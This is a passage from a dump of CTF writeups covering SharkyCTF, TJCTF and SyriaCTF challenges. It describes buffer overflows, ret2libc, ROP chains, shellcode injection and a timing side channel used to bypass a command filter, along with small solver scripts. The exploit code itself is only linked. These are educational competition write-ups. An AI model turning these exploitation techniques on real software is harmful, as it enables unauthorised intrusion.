"alphanum_fraction": 0.7379361391067505, "avg_line_length": 28.933332443237305, "blob_id": "c38e82c3cfa2e54ae6607bc0f63877656d5b4a4e", "content_id": "5e61c2b3e649df6c53fb3693f96c522543ea32e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1349, "license_type": "no_license", "max_line_length": 147, "num_lines": 45, "path": "/2020/SharkyCTF/PWN/Give_away_1/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SharkyCTF – Give Away 1\n\n* **Category:** PWN\n* **Points:** 275\n\n## Challenge\n\n> Make good use of this gracious give away.\n> \n> nc sharkyctf.xyz 20334\n> \n> Attachments :\n> > binary : give_away_1\n> >\n> > shared library : libc-2.27.so\n> \n> Creator: Hackhim\n## Solution\n\nWell first of all we mark the binary as executable with 'chmod +x give_away_1'\n\nthen we run the binary and it gives us a cool give away (not yet ^_^)\nand receives som input after it :\n\n![screenshot1](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_1/images/screenshot1.png)\n\nso what can we do with this giveaway ?\n\nlets first find out what is it by dissassembling the binary using binary ninja :\n\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_1/images/screenshot2.png)\n\nWe see that the `system@GOT` address is leaked to us so we can easily determine the libc base address and initiate a ret2libc attack\n\nI used pwntools to do this using python : [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_1/solve.py)\n\nwe run it and get the flag:\n\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_1/images/screenshot3.png)\n\n```\nshkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s}\n```\n\nYeah I hope you did :)\n" }, { "alpha_fraction": 0.8166666626930237, "alphanum_fraction": 0.8166666626930237, "avg_line_length": 29, "blob_id": "bc5a1fe96ef7708c3c37ac90d824ab360969e333", "content_id": "dc07722a9a9ccb2f5f894fd08e03aeafe339fc03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 60, "license_type": "no_license", "max_line_length": 44, "num_lines": 2, "path": "/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# CTF-writeups\nOur team writeups for various CTF challenges\n" }, { "alpha_fraction": 0.7348484992980957, "alphanum_fraction": 0.7626262903213501, "avg_line_length": 41.42856979370117, "blob_id": "47a8a2b71b4521864b13d2e02014cd140b2ae3f6", "content_id": "91774672f946c2b23b0a3bb529e9968331758bab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1190, "license_type": "no_license", "max_line_length": 467, "num_lines": 28, "path": "/2020/TJCTF/crypto/circles/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – Circles\n\n* **Category:** crypto\n* **Points:** 10\n\n## Challenge\n\n> Some typefaces are mysterious, like this one - its origins are an enigma wrapped within a riddle, indeed.\n>\n> Attachments:\n> > ![Circles.png](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/crypto/circles/images/Circles.png)\n>\n> hint :\n> > To obtain the flag, you should find the font that was used to encode the message in the picture. If you Google the description of the problem, the first website that pops up seems promising. Using a dictionary to guess/bruteforce words without finding the font will not help you. Each circle in the image represents an alphanumeric character that is part of the flag. The brackets and the underscore in the image are NOT part of the font used to encrypt the flag.\n\n## Solution\n\nwe see that following the hint if we googled the description we find a cool website [fonts.com](fonts.com)\n\nif we search for circular fonts we find this one :\n\n![Screenshot1.png](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/crypto/circles/images/Screenshot1.png)\n\nthen we open the character map and crack the cipher manually:\n\n```\ntjctf{B3auT1ful_f0Nt}\n```\n" }, { "alpha_fraction": 0.6673640012741089, "alphanum_fraction": 0.7824267745018005, "avg_line_length": 25.61111068725586, "blob_id": "5525c0d92d79b0b13738f6a4f277d7d7cea1db0b", "content_id": "3b368eb2966d14210e23d6922eb441bf41028565", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 480, "license_type": "no_license", "max_line_length": 264, "num_lines": 18, "path": "/2020/SyriaCTF/GOLDHASH/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SyriaCTF – GOLDHASH\n\n* **Category: Cryptography\n* **Points: 50\n\n## Challenge\n\n> The hash is 'NmRmOWEzNjI0ZmI5ZmRiNjMwYjllNjM4YTg2OWY5ZWYK'\n\n## Solution\n\nYou can easly find that it is encrypted using base64. After decoding it you will have the following hash `6df9a3624fb9fdb630b9e638a869f9ef`. After a struggle we could find the hash on this [website](https://md5hashing.net/hash/md5/6df9a3624fb9fdb630b9e638a869f9ef)\n\n```\nflag{Fulano@Fulano@55883188}\n```\n\nsolved by thecarrot" }, { "alpha_fraction": 0.4150606691837311, "alphanum_fraction": 0.5917202234268188, "avg_line_length": 34.025001525878906, "blob_id": "cfe4f8a8d01205d7bf193d356a6f98415472007f", "content_id": "78dff418541e40c54cff6d2cc9dd49eba64b68f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2804, "license_type": "no_license", "max_line_length": 162, "num_lines": 80, "path": "/2020/SharkyCTF/PWN/Give_away_0/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SharkyCTF 2020 – Give away 0\n\n* **Category:** PWN\n* **Points:** 160\n\n## Challenge\n\n> Home sweet home.\n>\n> Creator: Hackhim\n>\n> nc sharkyctf.xyz 20333\n>\n> attachments :\n>\n> binary : 0_give_away\n\n## Solution\n\nFirst we mark the binary executable so we can run it:\n`chmod +x 0_give_away`\n\nwhen we try running the binary it accepts some input and then it exits\n\n![screenshot1](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_0/images/screenshot1.png)\n\nso we disassemble the binary with `objdump -d 0_give_away`:\n\n```\n00000000004006a7 <win_func>:\n 4006a7:\t55 \tpush %rbp\n 4006a8:\t48 89 e5 \tmov %rsp,%rbp\n 4006ab:\tba 00 00 00 00 \tmov $0x0,%edx\n 4006b0:\tbe 00 00 00 00 \tmov $0x0,%esi\n 4006b5:\t48 8d 3d d8 00 00 00 \tlea 0xd8(%rip),%rdi # 400794 <_IO_stdin_used+0x4>\n 4006bc:\te8 6f fe ff ff \tcallq 400530 <execve@plt>\n 4006c1:\t90 \tnop\n 4006c2:\t5d \tpop %rbp\n 4006c3:\tc3 \tretq \n\n00000000004006c4 <vuln>:\n 4006c4:\t55 \tpush %rbp\n 4006c5:\t48 89 e5 \tmov %rsp,%rbp\n 4006c8:\t48 83 ec 20 \tsub $0x20,%rsp\n 4006cc:\t48 8b 15 7d 09 20 00 \tmov 0x20097d(%rip),%rdx # 601050 <stdin@@GLIBC_2.2.5>\n 4006d3:\t48 8d 45 e0 \tlea -0x20(%rbp),%rax\n 4006d7:\tbe 32 00 00 00 \tmov $0x32,%esi\n 4006dc:\t48 89 c7 \tmov %rax,%rdi\n 4006df:\te8 3c fe ff ff \tcallq 400520 <fgets@plt>\n 4006e4:\t90 \tnop\n 4006e5:\tc9 \tleaveq \n 4006e6:\tc3 \tretq \n\n00000000004006e7 <main>:\n 4006e7:\t55 \tpush %rbp\n 4006e8:\t48 89 e5 \tmov %rsp,%rbp\n 4006eb:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4006f0:\te8 51 ff ff ff \tcallq 400646 <init_buffering>\n 4006f5:\tb8 00 00 00 00 \tmov $0x0,%eax\n 4006fa:\te8 c5 ff ff ff \tcallq 4006c4 <vuln>\n 4006ff:\tb8 00 00 00 00 \tmov $0x0,%eax\n 400704:\t5d \tpop %rbp\n 400705:\tc3 \tretq \n 400706:\t66 2e 0f 1f 84 00 00 \tnopw %cs:0x0(%rax,%rax,1)\n 40070d:\t00 00 00 \n\n```\n\nwe see that the main is calling the vuln function which reads 0x32 bytes using fgets and store them in rbp-0x20\nso we can overwrite the return address with offset '0x20+0x8=0x28=40'\nand we overwrite it with the address of win function 'win_func' which obviously pops a shell\n\nI like to use pwntools template to automate the process: [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_0/solve.py)\n\n![screenshot1](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_0/images/screenshot2.png)\n\nWE GOT THE FLAG :)\n```\nshkCTF{#Fr33_fL4g!!_<3}\n```\n" }, { "alpha_fraction": 0.4947807788848877, "alphanum_fraction": 0.7620041966438293, "avg_line_length": 27.176469802856445, "blob_id": "25f3b0721d06c3a6cec720c98cc484448fa9e068", "content_id": "78e06c566b2d3339fa3b0e0343f108b66a469f54", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 960, "license_type": "no_license", "max_line_length": 175, "num_lines": 34, "path": "/2020/TJCTF/crypto/rsabc/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – RSABC\n\n* **Category:** crpyot\n* **Points:** 50\n\n## Challenge\n\n> I was just listening to some [relaxing ASMR](https://youtu.be/J2g3lvNkAfI) when a notification popped up with this.\n>\n> ???\n>\n> Attachments:\n> > n=57772961349879658023983283615621490728299498090674385733830087914838280699121\n> >\n> > e=65537\n> >\n> > c=36913885366666102438288732953977798352561146298725524881805840497762448828130\n\n## Solution\n\nhmmm I guess its a regular RSA and we don't need any hints because the numbers are small enough to factorize\n\nso I used this handy dandy (website)[https://www.alpertron.com.ar/ECM.HTM] to factorize N : (it took me a couple minutes though)\n\n```\np = 202049603951664548551555274464815496697\nq = 285934543893985722871321330457714807993\n```\n\nand from there it's easy to decrypt the ciphertext, I used a python [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/crypto/rsabc/solve.py) to do that\n\n```\ntjctf{BOLm1QMWi3c}\n```\n" }, { "alpha_fraction": 0.7018201351165771, "alphanum_fraction": 0.7505353093147278, "avg_line_length": 29.145160675048828, "blob_id": "1b5890538a0c045fd8c10853a0ea849f9de23a48", "content_id": "52d43c29f7f15bd8ee68ea6b20199c28b4d5b780", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1870, "license_type": "no_license", "max_line_length": 134, "num_lines": 62, "path": "/2020/TJCTF/binary/osrs/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – OSRS\n\n* **Category:** binary\n* **Points:** 50\n\n## Challenge\n\n> My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.\n>\n> I don't know what any of this means but this system sure looks old! It has like zero security features enabled...\n>\n> Attachments :\n> > binary\n> >\n> > nc p1.tjctf.org 8006\n\n## Solution\n\nif we check the security of the binary we see its not secured at all XD :\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/osrs/images/screenshot4.png)\n\nso lets run the binary and see what it does :\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/osrs/images/screenshot3.png)\n\nhmmm it gives as a negative number am guessing its an address for something lets see :\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/osrs/images/screenshot1.png)\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/osrs/images/screenshot2.png)\n\nwow we see its also using gets XD, hmmm i guess this address is somewhere in the stack cool, we can use that for a shellcode injection\n\nI grabbed a shellcode from shellstorm from [here](http://shell-storm.org/shellcode/files/shellcode-827.php)\n\nso our first payload will be :\n\n```\noverflow offset\nreturn to get_tree\n```\n\nnow we have the stack address we can add it to the offset plus 0x50 to ensure it will land on the nop sleds\n\nso the next payload is :\n```\noverflow offset\nreturn to \"stack address + offset + 0x50\"\nnop sleds\nshellcode\n```\n\nso when it returns to that address it will land somewhere on the nop sleds that leads to the shellcode\n\nthe script here : [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/osrs/solve.py)\n\n```\ntjctf{tr33_c0de_in_my_she115}\n```\n\n> P.S : Trees are my thing" }, { "alpha_fraction": 0.6955782175064087, "alphanum_fraction": 0.7440476417541504, "avg_line_length": 28.424999237060547, "blob_id": "2bec8d8c82d7d2f7b2a17f8c1d632714a5c68c16", "content_id": "47ec6b74dc36eeee91e95843edbe9b4dbca5fa30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1178, "license_type": "no_license", "max_line_length": 180, "num_lines": 40, "path": "/2020/TJCTF/binary/seashells/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – Seashells\n\n* **Category:** binary\n* **Points:** 50\n\n## Challenge\n\n> I heard there's someone selling shells? They seem to be out of stock though...\n>\n> Attachments:\n> > binary\n> >\n> > nc p1.tjctf.org 8009\n## Solution\n\nfirst thing we do is disassemble the binary, we have to interesting functions :\n\n![screenshot1](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/seashells/images/screenshot1.png)\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/seashells/images/screenshot2.png)\n\nwe can see that the main function is using gets for input (which is a dumb move :P)\n\nand also the shell function which is never called checks an argument then pops a shell\n\nso we conclude that we can use ROP (since its a 64bit binary) to exploit it using this chain :\n\n```\npop rdi\n0xDEADCAFEBABEBEEF\nshell\n```\n\nwhich is a very simple chain, I wrote a script to help automate the process : [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/seashells/solve.py)\n\ntada :\n```\ntjctf{she_s3lls_se4_sh3ll5}\n```\n\n> P.S : had to do repeat the rop chain two times to make it work still don't know why XD" }, { "alpha_fraction": 0.529629647731781, "alphanum_fraction": 0.5629629492759705, "avg_line_length": 21.58333396911621, "blob_id": "7178dc35b5f9690cf14e3a14054349ddbb57d774", "content_id": "26f8dc56f2190311110e27d5988cba42eb3e6ebd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 270, "license_type": "no_license", "max_line_length": 87, "num_lines": 12, "path": "/2020/SyriaCTF/dega/solve.py", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "import json\nimport base64\ndada = json.load(open('newdada.txt'))\n\ntry:\n i = 0\n while 1:\n open('newdada' + str(i) + '.txt','wb').write(base64.b64decode(dada['payload']))\n dada = json.load(open('newdada' + str(i) + '.txt'))\n i+=1\nexcept:\n pass" }, { "alpha_fraction": 0.7003058195114136, "alphanum_fraction": 0.7033638954162598, "avg_line_length": 26.25, "blob_id": "0dff9e462081b478c70b1791c18d272a8139cfd1", "content_id": "e7dc60ee1ec97ab79dafd0f78f8db82c1315cff8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 656, "license_type": "no_license", "max_line_length": 241, "num_lines": 24, "path": "/2020/TJCTF/crypto/typewriter/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – Typewriter\n\n* **Category:** crypto\n* **Points:** 30\n\n## Challenge\n\n> Oh no! I thought I typed down the correct flag for this problem on my typewriter, but it came out all jumbled on the paper. Someone must have switched the inner hammers around! According to the paper, the flag is `zpezy{fg_dgkt_atn_pqdl}`.\n>\n> hint : \n> > a becomes q, b becomes w, c becomes e, f becomes y, j becomes p, t becomes z, and z becomes m. Do you see the pattern?\n\n\n## Solution\n\nAs we can see from the description its a substituion cipher\n\nby looking at the hint we see that the key is `qwertyuiopasdfghjklzxcvbnm`\n\nand thats how we recover the flag :\n\n```\ntjctf{no_more_key_jams}\n```\n" }, { "alpha_fraction": 0.7072625756263733, "alphanum_fraction": 0.7620111703872681, "avg_line_length": 42.65853500366211, "blob_id": "2502665c0d3104f6f07357c1e04f09d6cf068895", "content_id": "bf41af22b8b7a5904d5acb339ee295d60e46a664", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1792, "license_type": "no_license", "max_line_length": 224, "num_lines": 41, "path": "/2020/TJCTF/misc/timed/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – Timed\n\n* **Category:** misc\n* **Points:** 50\n\n## Challenge\n\n> I found this cool program that times how long Python commands take to run! Unfortunately, the owner seems very paranoid, so there's not really much that you can test. The flag is located in the file flag.txt on the server.\n>\n> Attachments:\n> > nc p1.tjctf.org 8005\n\n## Solution\n\nthey only gave us a netcat to connect to so lets see what does it actually do ?\n\n![screenshot1](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/misc/timed/images/screenshot1.png)\n\nit seems it runs python commands and returns their runtime, maybe we can use it to pop a shell lets try :\n\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/misc/timed/images/screenshot2.png)\n\nWTH ? no hacking ! ok fine lets see what does this filter do, lets try opening the flag.txt file and read it :\n\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/misc/timed/images/screenshot3.png)\n\nhmmm, what ?? they filtered the brackets : `()`, but not the read command XD, lets use that to our advantage\n\nI was inspired by the title of the challenge and thought of a timing attack, so we can run a big for loop if a certain condition is True\n\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/misc/timed/images/screenshot4.png)\n\nsee the timings are different so we can do something like this :\n\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/misc/timed/images/screenshot5.png)\n\nthats how we gonna extract the flag by trying every character for each position I wrote this [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/misc/timed/solve.py) to do exactly that\n\n```\ntjctf{iTs_T1m3_f0r_a_flaggg}\n```\n" }, { "alpha_fraction": 0.6650446057319641, "alphanum_fraction": 0.7201946377754211, "avg_line_length": 24.163265228271484, "blob_id": "0d8e746c7df0c504c66529d915814105c359d0fe", "content_id": "6087b66dbf718302bb97208df9c9502554a52bb1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1235, "license_type": "no_license", "max_line_length": 130, "num_lines": 49, "path": "/2020/TJCTF/reversing/gym/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – Gym\n\n* **Category:** reversing\n* **Points:** 20\n\n## Challenge\n\n> Aneesh wants to acquire a summer bod for beach week, but time is running out. Can you help him create a plan to attain his goal?\n> Attachment :\n> > binary\n> >\n> > nc p1.tjctf.org 8008\n\n## Solution\n\nwhen we run the binary we see its a gym simulation:\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/reversing/gym/images/screenshot1.png)\n\nso we see that we have to reach a 180 from 211 thats 31 lbs down\n\nlets disassemble the main function to see what does what :\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/reversing/gym/images/screenshot2.png)\n\nit seems like each activity has a certain effect on weight :\n\n```\neat healthy : -4\ndo 50 push-ups : -1\ngo for a run : -2\nsleep 8 hours : -3\n```\n\nand we can only do 8 activities\n\nobviously we cant achieve our goal using these number\n\nbut we see that for some reason when you go for a run you also sleep for 8 hours (I guess you get tired idk)\n\nso you get an extra `-3` for the run option\n\nin that way we can run for 6 times and then do 50 push ups : `-4*6 -1 = -31`\n\nso by doing only that we get our flag\n\n```\ntjctf{w3iGht_l055_i5_d1ff1CuLt}\n```\n" }, { "alpha_fraction": 0.25853657722473145, "alphanum_fraction": 0.8414633870124817, "avg_line_length": 23.176469802856445, "blob_id": "75102d86bdd71457539c90bbf53eb5f820ef0218", "content_id": "aa83dbe1debd9bfb39280ee69dc3f2299a986077", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 410, "license_type": "no_license", "max_line_length": 79, "num_lines": 17, "path": "/2020/TJCTF/crypto/rsabc/solve.py", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "from Crypto.Util.number import inverse,long_to_bytes\n\nn=57772961349879658023983283615621490728299498090674385733830087914838280699121\ne=65537\nc=36913885366666102438288732953977798352561146298725524881805840497762448828130\n\np = 202049603951664548551555274464815496697\nq = 285934543893985722871321330457714807993\n\nphi = (p-1)*(q-1)\n\nd = inverse(e,phi)\n\nplain = pow(c,d,n)\n\nflag = long_to_bytes(plain)\nprint(flag)" }, { "alpha_fraction": 0.701917827129364, "alphanum_fraction": 0.7397260069847107, "avg_line_length": 28.918033599853516, "blob_id": "e583cc57ff62f0fda830b130850578319e355b81", "content_id": "2bcad818800c9062f1899c2cefa9a3c99fe65f48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1827, "license_type": "no_license", "max_line_length": 148, "num_lines": 61, "path": "/2020/SharkyCTF/PWN/Give_away_2/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SharkyCTF – Give away 2\n\n* **Category:** PWN\n* **Points:** 293\n\n## Challenge\n\n> Make good use of this gracious give away.\n> \n> nc sharkyctf.xyz 20335\n> \n> Creator: Hackhim\n> \n> Attachments :\n> > binary : give_away_2\n> >\n> > shared library : libc-2.27.so\n\n## Solution\n\nwe run the binary and it gives us a give away :\n(this time we have a 64bit one)\n\n![screenshot1](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_2/images/screenshot1.png)\n\nlets find out what is this give away ?\n\nwe disassemble using binary ninja :\n\n![screenshot2](https://github.com/0d12245589/CTF-writeups/raw/master/2020/SharkyCTF/PWN/Give_away_2/images/screenshot2.png)\n\nwe see that the give away is the address of the main function hmmm, what can we use it for ?\n\nwell first we need a leak from the GOT table to be able to ret2libc\n\nso i found i ROP gadget that pops rdi and returns so we let it pop the printf@got address (cuz we have the address of main so it is easily obtained)\n\nafter that we jump to the printf call in main so we can get the printf address in libc using the same format string \"Give away: %p\\n\"\n\nso after this call it continues in the main function and calls vuln again so we can send another payload\n\nSWEEEEET! \n\nso the after we have the printf address in libc we calculate the libc base address easily\n\nthen we do a regular ret2libc attack by poping rdi = binsh and calling system and we're done yaay!\n\nbut no... it worked only locally :(\n\nso for some reason I just recalled system again with the binsh arg and it worked fine XD\n\nlet me know why in the comments\n\noh yes forgot, my script is here : [solve.py](https://github.com/0d12245589/CTF-writeups/tree/master/2020/SharkyCTF/PWN/Give_away_2/solve.py)\n\nTHE FLAG : \n```\nshkCTF{It's_time_to_get_down_to_business}\n```\n\n> P.S : 3MIN3M D4 G047.\n" }, { "alpha_fraction": 0.5754414200782776, "alphanum_fraction": 0.6444622874259949, "avg_line_length": 17.878787994384766, "blob_id": "dd7c9cb3bdbfa2a0cba2e2e9709eacbae70c640d", "content_id": "6d62a501efe8809f30d93f760dd55a6e2f0055df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1248, "license_type": "no_license", "max_line_length": 207, "num_lines": 66, "path": "/2020/TJCTF/reversing/chord_encoder/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – Chord Encoder\n\n* **Category:** reversing\n* **Points:** 40\n\n## Challenge\n\n> I tried creating my own chords, but my encoded sheet music is a little hard to read. Please play me my song!\n>\n> Attachments :\n> > chords\n> >\n> > encoded sheet music\n> >\n> > chord_encoder.py\n\n## Solution\n\nwe open the chord_encoder.py file :\n\n```python\nf = open('song.txt').read()\n\nl = {'1':'A', '2':'B', '3':'C', '4':'D', '5':'E', '6':'F', '7':'G'}\nchords = {}\nfor i in open('chords.txt').readlines():\n\tc, n = i.strip().split()\n\tchords[c] = n\n\ns = ''\nfor i in f:\n\tc1, c2 = hex(ord(i))[2:]\n\tif c1 in l:\n\t\tc1 = l[c1]\n\tif c2 in l:\n\t\tc2 = l[c2]\n\ts += chords[c1] + chords[c2]\nopen('notes.txt', 'w').write(s)\n```\n\nwe see that its reading the song.txt and hexifying each byte and replacing it with a string from this file :\n\n```\nA 0112\nB 2110\nC 1012\nD 020\nE 0200\nF 1121\nG 001\na 0122\nb 2100\nc 1002\nd 010\ne 0100\nf 1011\ng 000\n```\n\nso as we can see we can't immediately recover the song because D,E and d,e are very similar\n\nso I used my competitive programming skillz to write a backtrack algorithim to recover the flag : [solve.py](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/reversing/chord_encoder/solve.py)\n\n```\nflag{zats_wot_1_call_a_meloD}\n```\n" }, { "alpha_fraction": 0.6982543468475342, "alphanum_fraction": 0.7381545901298523, "avg_line_length": 24.125, "blob_id": "53705a51a8fb98e38002b19f11b64a596c5161bb", "content_id": "13601223590544d80ec58a20b55a7b981633aa20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 403, "license_type": "no_license", "max_line_length": 140, "num_lines": 16, "path": "/2020/SyriaCTF/8_miles/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SyriaCTF – 8 MILES\n\n* **Category:** Malware Reverse Engineering\n* **Points:** 50\n\n## Solution\n\nby decompiling the using IDA we see that the binary is checking for an argument using an equation by solving this equation we get a number 8\nand then we see that the array is getting shifted by 8\nso we just shift it by -8 and get the flag :\n\n```\nR3V3R53_Th3_W0rld_N0W\n```\n\nsolved by b4n4n4s and thecarrot" }, { "alpha_fraction": 0.65887850522995, "alphanum_fraction": 0.7383177280426025, "avg_line_length": 27.53333282470703, "blob_id": "a2202ed616c07a168d3abdbb9e5e0df652a9087a", "content_id": "edda1bad1fd2e446ad6a938671787b24b4d2fa41", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 858, "license_type": "no_license", "max_line_length": 155, "num_lines": 30, "path": "/2020/TJCTF/binary/tinder/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – Tinder\n\n* **Category:** binary\n* **Points:** 25\n\n## Challenge\n\n> Start swiping!\n> Attachments:\n> > binary\n> > nc p1.tjctf.org 8002\n\n## Solution\n\nif we dissassemble the binary we see a cmp instruction that leads to the flag :\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/tinder/images/screenshot2.png)\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/tinder/images/screenshot1.png)\n\nbtw `var_C = 0`\n\nand we see that it reads before the bio at `ebp-0x80` and then compares the integer at `ebp` with `0x0C0D3D00D`\n\nso by playing around to find the exact offset which is `0x74`\n\nI wrote a [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/tinder/solve.py) using pwntools to get a match (I mean the flag)\n\n```\ntjctf{0v3rfl0w_0f_m4tch35}\n```\n" } ]
27
kritik123/Pavement-Damage-Detection
https://github.com/kritik123/Pavement-Damage-Detection
6e1a9a968cf723c461340cff5548349b2e45daf7
23fdf2b5a7da25648cd6629d431ca018115aa117
250ff0b9acffe34191015912ea65342fad8dbfec
refs/heads/master
2022-04-18T08:52:42.463750
2020-04-14T17:16:22
2020-04-14T17:16:22
248,182,078
2
1
null
null
null
null
null
[ { "alpha_fraction": 0.5978473424911499, "alphanum_fraction": 0.6387475728988647, "avg_line_length": 36.26277542114258, "blob_id": "8bb0c05a20c21f4b0a76575d057c9a9c18915725", "content_id": "d30345e739a03f349bf00aab9afb5be13ac58f22", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5110, "license_type": "permissive", "max_line_length": 110, "num_lines": 137, "path": "/project_gui_shi_main_right.py", "repo_name": "kritik123/Pavement-Damage-Detection", "src_encoding": "UTF-8", "text": "import sys\n\ntry:\n \n import Tkinter as tk\nexcept ImportError:\n import tkinter as tk\n\ntry:\n import ttk\n py3 = False\nexcept ImportError:\n import tkinter.ttk as ttk\n py3 = True\n\nimport project_gui_shi_main_right_support\nimport os.path\nfrom tkinter import filedialog\nfrom PIL import ImageTk,Image\nfrom prediction import pred\nfrom tkinter import messagebox\nimport tkinter as tk\ndef vp_start_gui():\n '''Starting point when module is the main routine.'''\n global val, w, root\n global prog_location\n prog_call = sys.argv[0]\n prog_location = os.path.split(prog_call)[0]\n root = tk.Tk()\n top = Toplevel1 (root)\n project_gui_shi_main_right_support.init(root, top)\n root.mainloop()\n\nw = None\ndef create_Toplevel1(root, *args, **kwargs):\n '''Starting point when module is imported by another program.'''\n global w, w_win, rt\n global prog_location\n prog_call = sys.argv[0]\n prog_location = os.path.split(prog_call)[0]\n rt = root\n w = tk.Toplevel (root)\n top = Toplevel1 (w)\n project_gui_shi_main_right_support.init(w, top, *args, **kwargs)\n return (w, top)\n\ndef destroy_Toplevel1():\n global w\n w.destroy()\n w = None\n\nclass Toplevel1:\n def __init__(self, top=None):\n '''This class configures and populates the toplevel window.\n top is the toplevel containing window.'''\n _bgcolor = '#d9d9d9' # X11 color: 'gray85'\n _fgcolor = '#000000' # X11 color: 'black'\n _compcolor = '#d9d9d9' # X11 color: 'gray85'\n _ana1color = '#d9d9d9' # X11 color: 'gray85'\n _ana2color = '#ececec' # Closest X11 color: 'gray92'\n font12 = \"-family Arimo -size 10 -weight bold -slant italic \" \\\n \"-underline 0 -overstrike 0\"\n font13 = \"-family Arimo -size 10 -weight bold -slant roman \" \\\n \"-underline 0 -overstrike 0\"\n font9 = \"-family Arimo -size 10 -weight normal -slant roman \" \\\n \"-underline 0 -overstrike 0\"\n\n top.geometry(\"996x638+360+52\")\n top.minsize(1, 1)\n top.maxsize(1351, 738)\n top.resizable(1, 1)\n top.title(\"PAVEMENT CONDITION DETECTOR\")\n 